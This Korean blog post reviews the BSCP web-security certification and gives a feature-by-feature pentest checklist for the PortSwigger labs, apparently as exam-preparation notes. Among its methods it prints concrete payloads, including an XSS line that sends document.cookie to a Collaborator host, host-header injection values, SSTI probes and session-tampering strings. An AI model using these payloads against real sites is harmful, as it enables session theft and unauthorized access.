BSCP 자격증 소개 및 기능 별 점검해야할 항목 정리

Red Team/My 프로젝트

BSCP 자격증 소개 및 기능 별 점검해야할 항목 정리

wonder12 2024. 11. 19. 13:29

BSCP 자격증 소개

BSCP(Burp Suite Certified Practitioner) 는 Port Swigger 에서 인증하는 자격증으로, 280개에 가까운 아카데미 랩을 기반으로 hands-on 실력을 평가합니다.

BSCP를 2번 도전하면서 시험 자체가 반복적으로 labs들의 풀게 끔 디자인 되어, 웹 해킹 개념에 적응을 할 수 있었습니다.

Port Swigger는 클래식한 OWASP은 물론이고 제외한 비교적 최근에 나오는 기술까지 업데이트를 주기적으로 하는 편이라 그 점은 좋았습니다.

예를 들어 비즈니스 로직 취약점이나 Race Condition, Cache Deception 등이죠.

단점

하지만 아쉬웠던 점은 나온지 오래되지 않은 자격증이다보니

아직 리뉴얼을 계속해서 진행하는 것 같고 아직 완전히 정착되지 않은 자격증이라고 느꼈습니다.

실제로 저한테도 피드백 자리를 갖자고 초대를 하더군요.

가장 아쉬웠던 점은 내가 시험을 보고 떨어진다면 내가 어느 부분을 틀렸는지 피드백을 받을 방법이 없다는 점입니다.

OSCP는 어느정도 깊게 파고들어야하는지 가늠이 되는데, 임의의 유형으로 출제되다보니 제공해주는 모의 시험 문제로는 대비가 부족했습니다.

실무자들도 5~7번 떨어지고 감잡아서 붙는다는 얘기가 있었습니다.

장점

일단 장점으로만 생각해봤을 때

버그 바운티나 실제 모의해킹 점검을 할 때 유용하게 사용할 수 있고,

잘 알고 있다고 생각하는 공격들도 미처 생각하지 못했던 부분에서 알려줄 수 있어서 좋았습니다.

본인이 OSCP를 마친 후 웹을 많이 알고 있다고 생각하더라도 웹은 워낙 방대하기 때문에

더욱 더 실력을 갈고 닦기 위해 이 BSCP 코스를 시험까지 치루진 않더라도 하는 것을 추천합니다.

그리고 코스를 배우면서 알려주는 Burp Pro 활용법이나 Extension들로 인해 조금 더 효율적으로 사용할 수 있습니다.

모든 가능한 방법들을 생각해보게 되고, 다양한 방식으로 , 시선으로 접근할 수 있습니다.

사실 여기에서 알려주는 방법들도 실전 레드티밍에 비하면 빙산에 일각에 불과할 수준으로 웹은 넓습니다.

어쨌든 이때까지 배운내용을 정리하도록 하겠습니다.

일단 초반에 빠르게 살펴봐야할 cheat sheet으로 정리하도록 하겠습니다.

Step1 - General Assessment

일단 초반에는 훑어봅니다. 어떤 기능들이 있는지 모두 사용해보고, 어떻게 작동하는 지 확인합니다.

그러면서 동시에 어떻게 악용할 수 있는지 확인합니다.

여기서 유저 또는 관리자가 방문한다고 가정한다면 Cache poisoning 이나 HTTP Smuggling 등 여러가지 방법들을 시도해볼 수 있습니다.

시험 때는 priorities 순으로 가장 의심이 가는 순으로 진행하고, 나머지는 스킵해야했지만 실제 월드에서는 시간싸움이 아닌, 다른 부분도 모두 중요합니다.

스캐너 사용

취약한 기능인 것 같은데 확실하지 않거나, WAF filtering에 막힐 때마다 Burp Pro의

scan selected insertion point 또는 manual insertion scan (extension)을 사용하여

디테일한 스캔을 해볼 수 있습니다. 오히려 전반적인 스캔을 하는 건 불필요한 Brute forcing에 시간을 많이 쓰기 때문에 찾는데 오래 걸립니다.

custom format도 가능하구요

본인이 설정한 Insertion Point는 대시보드 스캔창에서 확인 할 수 있습니다.

Discovery Content

Burp 에서 쓸만한 기능으로는

Site Map 에서 현재 도메인을 설정 Engagement tools > Discover Content 이 있고

Sitemap 탭에서 발견된 Content 들을 확인할 수 있습니다.

가볍게 확인하는 용도이고 Dir-Brute force 이 더 빠르고 더 많은 범위를 검색할 수 있기 때문에 디테일 확인 용도로는 gobuster, feroxbuster(recursively)등을 사용합니다.

/.git이 숨겨져있는 경우도 있으니 수동적으로 확인할 수도 있습니다.

이런 경우는

wget -r https://YOUR-LAB-ID.web-security-academy.net/.git/

로 디렉토리에 있는 전체 파일을 모두 가져온 후 git log 로 리뷰 합니다.

robots.txt

만약 디버그 페이지 /phpinfo.php 를 찾는다면 (e.g. /cgi-bin/phpinfo.php)

SECRET_KEY 를 얻어 Insecure Deserialization 공격할 때 활용할 수 있습니다.

해당 페이지는 구글 dorks 로 검색해볼 수도 있습니다.

어떨 때는 ~ 를 붙였을 때, php source code가 보이는 경우도 있습니다.

extension 사용

Param Miner

1. Guess Headers

X-Forwarded-Host, X-Host, X-Original-URL 등

서버에서 사용하는 커스텀 헤더들을 찾습니다.

2. Guess query params

utm_content (analytics용도) 처럼 params 를 찾아줄수도 있습니다.

Cache poisoning 을 진행할 때 Custom 파라미터 같은 경우는 unkeyed input 가 될 수 도 있기 때문에 테스트해봅니다.

HTTP request Smuggler

1. smuggle probe

2. HTTP/2 probe

TRACE method를 허용해놓았다면 숨겨진 커스텀 헤더들을 찾을 수 있습니다.

e.g. X-Custom-IP-Authorization: <Front-end IP>

IP 변조가 가능한 헤더이므로 127.0.0.1 로 변경 후 IP 제한이 되어있는 곳에 접속할 수 있습니다.

메인 페이지 -> 모든 페이지, 기능 HTML 소스코드 , js 파일 점검

소스코드를 점검하면서 놓치는 흐름이 있는건 아닌지 확인합니다.

특히 reflected DOM-based XSS 같은 경우입니다.

Step2 - 기능 별로 점검해야할 항목

메인페이지

유저가 주기적으로 방문하기 때문에 아래와 같은 공격을 할 수 있습니다.

1. Cache poisoning (항상 메인페이지에만 있는건 아니니 다른 기능들에서도 확인해야합니다.)

2. HTTP request smuggling

HTTP/1, HTTP/2 스캔을 먼저한 후 그중에서도 어떤 공격이 취약한지 확인합니다.

HTTP/1

관리자 페이지 접속 시도
- Host: localhost 헤더를 smuggle해서 접속합니다.
- 검색 기능 등 reflected 되는 기능으로 front-end의 헤더들을 드러냅니다. (IP 변조 헤더 -> 접속)
POST라면 댓글 기능, GET이라면 검색 기록 등의 저장 기능으로 유저의 요청 값을 캡쳐 후 세션을 가로채거나 헤더값들을 확인할 수 있습니다.
고급 XSS
- 기존 Reflected XSS는 링크를 직접 전달해서 페이로드를 실행시켰다면, smuggling으로는 유저가 요청만 보낸다면 바로 페이로드를 실행할 수 있도록 가능합니다.
만약 extension이 탐지하지 못하고 CL.TE, TE.CL 모두 작동하지 않는다면
- CL.0 : in a single connetion 으로 smuggle 시도합니다. (관리자 페이지 접속 등)

HTTP/2

관리자 페이지 접속 시도
- Host: localhost 헤더를 smuggle해서 접속합니다
POST라면 댓글 기능, GET이라면 검색 기록 등의 저장 기능으로 유저의 요청 값을 캡쳐 후 세션을 가로채거나 헤더값들을 확인할 수 있습니다.
TE desync h2path라고 뜨지만 but H2.TE 등 모두 작동하지 않는다면
- CRLF 로 우회가능합니다. (e.g. 유저의 요청을 저장 기능으로 캡쳐합니다.)
H2.TE가 취약하다면 queue poisoning 으로 하나의 요청을 2개로 나눠 유저의 응답을 얻습니다. -> session값을 확인할 수 있습니다.
- 만약 탐지하지 못하고 모두 작동하지 않는다면, CRLF 를 통해 queue poisoning을 진행합니다.
만약 /를 붙이고 리다이렉트를 행동 한다면
- Host: 공격자 서버 + 행동을 같이 결합하여 공격자 서버로 리다이렉션이 가능합니다.

관리자페이지

- cheat sheet 참고

로그인 기능

SQL injection
실제하는 유저인지 아이디를 Enumeration이 가능합니다.
- valid_user:incorrect_pass 5번 이상 반복해서 시도해서 계정이 잠기는지, IP가 차단되는지 확인합니다.
- 유저아이디를 brute-force 합니다.
- 계정이 잠기더라도 만약 인증과 관련된 쿠키가 있다면 쿠키를 통해 brute-force가 가능합니다ㅣ.
- brute-force가 힘들더라도, 마이페이지 - 비밀번호 변경으로 brute-force 시도합니다.
비밀번호 찾기 (리셋 이메일)
- 요청할 때 Intercept 하여 유저아이디 파라미터를 변경합니다.
- HTTP Host 헤더
  - host header를 변경한다면 reset 이메일의 링크 주소가 변경되는지 확인합니다.
    - 그외로는 사용할만한 헤더
      X-Forwarded-Host: exploit-server.com
      X-Host: exploit-server.com
      X-Forwarded-Server: exploit-server.com
로그인 유지
- 쿠키값을 확인해 base64 인코딩되어있다면 디코드합니다.
  - 만약 포맷이 username:비밀번호(MD5) 라면 cracknation 또는 Brute-force 를 통해 크랙을 시도합니다.
  - base64(username:MD5password) 포맷이더라도 rules를 추가 후 Intruder를 통해 Brute-force합니다.
  - base64 처럼 보이지만 디코딩되지 않는다면 encryption oracle 시도합니다.(logic flaws를 참고)
2FA / MFA (login1 : creds -> login2: FA code)
- 이미 로그인 상태라고 가정하고 login2으로 갈 필요없이 단계를 건너 뛰고 마이페이지로 갑니다.
- 2FA 코드를 brute force ㅅ가능한지 시도합니다.
set role
- 단계를 건너뛸 수 있는지 확인합니다. 기본값이 Administrator일 가능성도 있습니다.

마이페이지 - 비밀번호 변경

유저이름 파라미터를 변조가능한지 확인합니다.

postId, confirmId, productid, all params

postId=1, 0, -1 시도 하여 다른 응답값인지 확인합니다. -> SSTI
postId=z 다른 데이터 타입을 시도하여
- 에러메세지가 나올 때 java, version 등이 tech 정보 노출될 가능성이있습니다.
- 입력 값이 reflected 된다면 XSS 시도 가능합니다.

검색 기능

reflected XSS
- 태그를 blacklist처리한다면 모든 태그를 복사하여 brute-force합니다 -> 모든 이벤트핸들러
  - 만약 임의 문자의 custom 태그만 허용한다면 -> tabindex 로 XSS를 일으킵니다.
    - 특히 SVG 태그 + animatetransform 이벤트 핸들러를 허용한다면 -> trigger 가능합니다.

stored XSS
- 만약 유저가 비밀번호 auto-fill 기능을 사용한다면 비밀번호를 캡쳐가능합니다.
- CSRF token을 캡쳐하여 -> CSRF 공격이 가능합니다.(이메일 변경 등등)
- 만약 입력값이 javascript sink에 들어가 실행된다면 stored DOM based XSS입니다.
reference link

로그인 후 -> 세션 쿠키 취약점

디코드하여 읽을 수 있는지 확인합니다.
base64-URLencoding 포맷이라면 -> Insecure deserialization 을 시도합니다. (URL-encoding 처럼 보이지 않거나 = 가 없더라도 디코드하여 Insecure deserialization임을 예측합니다.)
- 모두 평문으로 확인할 수 있다면 PHP based입니다.
  - attributes 값 변조가 가능할 때 ->
    - "admin";b:1
  - access_token 값 변조 가능할 때
    - "access_token";i:0; -> 어드민 권한을 얻습니다.
  - 소스코드를 찾은 후 기능에 대해 리뷰할 때 -> create CustomTemplate object
  - 사용된 라이브러리 확인 후 -> PHPGGC 등 대응하는 가젯을 찾아 시도합니다.
  - 아바타 , 이미지 등이 링크되어있을 때 -> 계정 삭제 시, 링크되어 삭제되는지 확인합니다.
  - 토큰과 signature 포맷이 있을 때
- 부분적으로 보이거나 평문의 거의 없다면 Java, Ruby 등 입니다.
  - java, common 와 같은 string을 발견할 때 -> Apache commons
  - Java Desericalization scanner -> java 탐지 후 -> ysoserial로 RCE( extension 가 작동 되지 않는다면 직접 칼리 도커를 통해 시도합니다.)
  - @ string을 발견 시 -> ruby 입니다.
- JWT 탐지되었을 때
  - JWT 프로세스 모두 시도합니다.

마이페이지 또는 민감 정보가 노출되는 page

다른 유저의 해당 페이지를 얻고싶기 때문에 CORS 가 가능한지 확인하기 위해 Access-Control-Allow-Credentials: true 헤더가 있는지 확인합니다.
IDOR : ?userid=, ?id 파라미터와 같이 다른 유저 PII 로 변조가 되는지 확인합니다.
- 302 리다이렉션되지만 응답값에서 내용을 확인할 수 있는 경우도 있습니다.
- 다른 유저의 GUID를 댓글 등의 다른 기능에서 찾아 변조시도합니다.

아무것도 못찾았을 때

모든 페이지의 소스코드를 확인해서 custom 처럼 보이는 자바스트립트를 분석합니다. -> DOM based XSS
http history 에서 흥미로운 cookie 값이나 헤더, 캐시 헤더들을 놓치지 않습니다.
이미지를 읽었을 때 ?filename= 포맷이라면 file traversal을 시도합니다.
- Intruder payload 또는 스캐너를 통해 fuzz하는 방법도 있습니다.
reflected 파라미터가 있다면 -> SSTI(server side template injection) -> RCE 또는 파일읽기 를 시도 합니다.
logic flaw
- 마이페이지 또는 인증관련 기능에서 현재 파라미터를 제거한 후 응답이 달라지는지 확인합니다.
  - 또는 변경해봅니다.
- 만약 관리자페이지에서 특정 email만 허용한다면
  - 다른 기능에서 바꿀 수 있는지 확인합니다.
  - 가입할 때 매우 long length 로 가입 후 -> limits 가 얼만지 확인합니다. -> truncated 되는지 확인합니다.
일반 평범한 포맷처럼 보이지만
- OS command injection 이 가능한 기능을 사용할 수도 있습니다.(재고 검사, 피드백 등록 등)
  - blind OS injection
    - 응답으로 값이 나오지 않기 때문에 ping 또는 curl attacker's DNS 로 탐지한 후 내부 파일을 exfiltrate 합니다.
    - echo > output 을 웹 경로에 저장시키는 방법도 있습니다.
- XInclude(XXE) 일수도 있습니다.
SSTI이 될 것 같은 기능을 찾습니다.
- identify
  - Scanner 또는 Fuzz (SSTI worlist) 로 어떤 template인지부터 탐지합니다.
- exploit
  - 일반적이지 않은 template이라면 document 정보를 구글에 검색합니다.
    - 아무것도 못찾았다면 `{% debug %}`
만약 param miner가 작동하지 않는다면, 서버에서 여러 헤더들을 사용하는지 수동/fuzz으로 확인합니다.
- X-Forwarded-Host , x-forwarded-scheme- modify Host header, X-Host -manipulate Host header , X-Original-URL - /admin , X-Custom-IP-Authorization- IP spoofing 등
blind out-of-band 포인트를 찾습니다.

'"><svg/onload=fetch(`//s4x0r4f78b6gvnktqqif0jy47vdn1er2g.oastify.com/${encodeURIComponent(document.cookie)}`)>

wiener%3afEE4UB4YXq0OhYDLVblNYxWoZ5Kx5oGb 포맷 -> highlight -> scan
XSS 를 찾았을 때
- Collaborator 로 유저의 쿠키를 탈취할 수 있는데, exploit 전에 Devtools에서 httponly :X, secure, samesite 가 설정되어있는지 먼저확인합니다. 근데 요즘은 XSS protection:1 도 설정되어있고, httponly도 설정 되어있습니다.
- redirection도 가능합니다.

헤더
- user-agent 가 reflected 되는지 모든 페이지에서 확인합니다. -> XSS

재고 확인 기능

만약 포맷이
stockAPI=full URL 또는 partial URL 이라면 SSRF를 시도합니다.
- 실전에서는 localhost: 6566 처럼 특정포트를 사용할 수도 있고 아닐 수도 있습니다.
XML 포맷이라면
- 모든 entities 에 XXE 공격을 시도합니다.
  - 파일 읽기
  - SSRF
  - blind XXE via Collaborator
  - blind XXE via 에러메세지
- SQLi + entity 난독화 페이로드를 활용합니다. -> union SQLi
  - SQL 쿼리임을 탐지하는 방법은 integer 데이터 타입이라면 1+1 를 넣어 확인합니다.
  - UNION SELECT NULL -> entities 인코드하여 filtering 을 우회합니다.

파일업로드

기존 프로세스를 따라갑니다.
svg 업로드 가능하다면 XXE 시도합니다ㅣ.

OAuth(SSO/SNS)

흐름을 조심해서 봅니다.
- redirection 파라미터 값을 변경하여 외부 리다이렉션이 가능한지 확인합니다.
  - 탐지 : localhost
    - 만약 302 ?token= 포맷이라면 exploit으로 code를 받습니다.
    - #token= 포맷이라면 자바스크립트 JSON 로 token을 얻습니다.
  - 외부 도메인 허용 -> 취약
  - 현재 도메인 내에서만 허용 -> subdomains 또는 다른 페이지에서 open 리다이렉션 취약점을 찾아 활용합니다.
만약 SNS 링크 기능이 있다면
- 피해자 application 세션과 공격자의 SNS 계정을 연결시켜 계정 권한을 얻을 수 있습니다.

POST 등의 request에서 user.name 포맷 파라미터를 확인했다면

SSTI 를 가정해볼 수 있습니다.
}}{{7*7}}

쇼핑몰과 같이 multi step 흐름이 있다면

권한없는 유저 상태로 단계를 건너 뛰고 validate하지 않는 최종 단계로 넘어가봅니다.

이메일 변경

JSON 포맷이라면 roleId attribute를 새로 추가해서 적용되는지 확인합니다. -> 다른 유저로 PE
CSRF
- 만약 토큰이 없다면
  - no validation
  - bypass SameSite cookie validation
  - bypass referer-based validation
- 토큰이 있다면
  - 우회합니다.
- 만약 CSRF 가 작동하지 않거나 CSRF 토큰으로 대응 하고 있다면 -> Clickjacking 를 시도합니다

라이브 챗 - web socket 소통

XSS
- normal XSS
- web socket 을 통한 XSS
- 공격이 탐지되면 연결이 끊기는데 우회가 가능합니다.
- /chat websockets handshake 페이지에 CSRF token 대응을 안한다면 CSRF 로 유저들의 메세지 history 를 얻을 수 있습니다. (via Collaborator)

구매 프로세스

negative quantity
- 가격 조절 -> buy
manipulate the price
- 장바구니에 추가할 때
- 장바구니를 수정할 때
- 구매시도할 때
too much quantity and price -> behavior : negative price 되는 경우도 있습니다.
- Intruder를 통해 반복합니다.
단계를 건너 뜁니다. (fund check)
쿠폰사용
- 만약 연속으로 쿠폰을 사용할 수 없다면, 두개의 쿠폰으로 번갈아사용하는 비즈니스 로직 취약점이 있습니다.

저작자표시